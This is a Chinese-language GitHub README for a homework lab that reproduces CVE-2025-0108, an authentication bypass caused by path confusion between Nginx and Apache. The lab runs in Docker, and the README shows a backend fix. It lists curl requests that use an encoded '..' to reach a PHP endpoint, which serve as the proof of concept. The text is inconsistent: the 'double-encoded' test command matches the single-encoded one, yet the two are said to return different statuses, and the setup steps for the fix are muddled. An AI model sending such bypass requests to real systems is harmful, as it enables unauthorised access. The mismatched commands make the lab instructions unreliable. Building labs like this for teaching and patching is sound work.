kso4more/CVE-2025-0108

GitHub: kso4more/CVE-2025-0108

演示CVE-2025-0108路径混淆漏洞的实验环境,展示双层编码如何绕过身份验证以及相应的修复方案。

Stars: 0 | Forks: 0

# CVE-2025-0108 — WebSecurity 作业 3 (PoC 与修复) 本仓库包含一个小型实验环境,用于复现和缓解 CVE-2025-0108 问题(Nginx 与 Apache 之间的路径混淆 / 标头走私)。 本次作业的目标是演示双重编码请求如何在多层堆栈(Nginx -> Flask 后端 -> Apache/PHP)中绕过身份验证,并展示后端侧的缓解措施。 本环境仅供教育目的使用。 ## 目录 - `CVE-2025-0108/` — 存在漏洞的实现 (PoC) - `CVE-2025-0108_fix/` — 已修复的实现(后端验证解码后的路径) ## PoC(存在漏洞) — `CVE-2025-0108` ### 目的 模拟存在漏洞的设置,其中由于各层之间路径解码不一致,双重编码路径可以绕过身份验证。 ### 启动环境 在 `CVE-2025-0108` 目录下执行: ``` cd CVE-2025-0108 docker compose up --build ``` ### 测试 在你的主机上运行这些 curl 命令: **测试 1 — 双重编码(预期:HTTP 200)** ``` curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css" ``` 此请求使用双重编码(%252e%252e == %2e%2e == ..)并演示了在存在漏洞的设置中的绕过。它应返回 200 OK。 **测试 2 — 单次编码(预期:HTTP 401)** ``` curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css" ``` **测试 3 — 包含 .. 的原始路径(预期:HTTP 401)** ``` curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css" ``` 停止环境: ``` docker compose down ``` ## 已修复版本 — CVE-2025-0108_fix 后端在允许访问之前对解码后的路径执行额外检查。这可防止请求被双重编码时绕过身份验证。 在 `CVE-2025-0108` 目录下执行: ``` cd CVE-2025-0108 docker compose up --build ``` ### 测试 在你的主机上运行这些 curl 命令: 在 `CVE-2025-0108_fix` 目录下执行: ``` cd CVE-2025-0108_fix docker compose up --build ``` **测试 1 — 双重编码(预期:HTTP 401)** ``` curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css" ``` 已修复的后端检测到解码后的 .. 并返回 **401** Unauthorized。 **测试 2 — 单次编码(预期:HTTP 401)** ``` curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css" ``` **测试 3 — 包含 .. 的原始路径(预期:HTTP 401)** ``` curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css" ``` 停止环境: ``` docker compose down ```
标签:Apache, CISA项目, CVE-2025-0108, Docker, Flask, HTTP请求走私, Nginx, OPA, OpenVAS, PHP, PoC, Web安全, 双重编码, 安全防御评估, 暴力破解, 漏洞修复, 漏洞复现, 版权保护, 网络安全, 网络安全培训, 蓝队分析, 请求拦截, 请求走私, 路径混淆, 身份验证绕过, 隐私保护, 靶场